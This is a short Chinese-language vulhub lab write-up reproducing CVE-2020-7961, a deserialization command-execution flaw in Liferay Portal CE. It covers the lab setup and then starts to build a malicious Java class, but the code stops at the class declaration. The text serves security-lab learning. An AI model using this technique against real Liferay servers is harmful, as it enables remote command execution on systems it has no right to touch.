vulhub漏洞复现37_Liferay

CVE-2020-7961_Liferay Portal CE 反序列化命令执行漏洞

漏洞详情

Liferay Portal CE是一款用来快速构建网站的开源系统。其7.2.0 GA1及以前的版本API接口中存在一处反序列化漏洞，利用该漏洞可在目标服务器上执行任意命令。

漏洞环境

靶场：192.168.4.10_ubuntu

执行如下命令启动Liferay Portal 7.2.0 GA1：

#docker-compose up -d

启动成功后，访问`http://your-ip:8080`即可查看到默认首页。如果环境一直没有成功启动，可能是内存不足，请使用至少2G内存的服务器运行这个环境。

漏洞复现

首先准备一个恶意的Java类，编译：

```java

// javac LifExp.java

public class LifExp {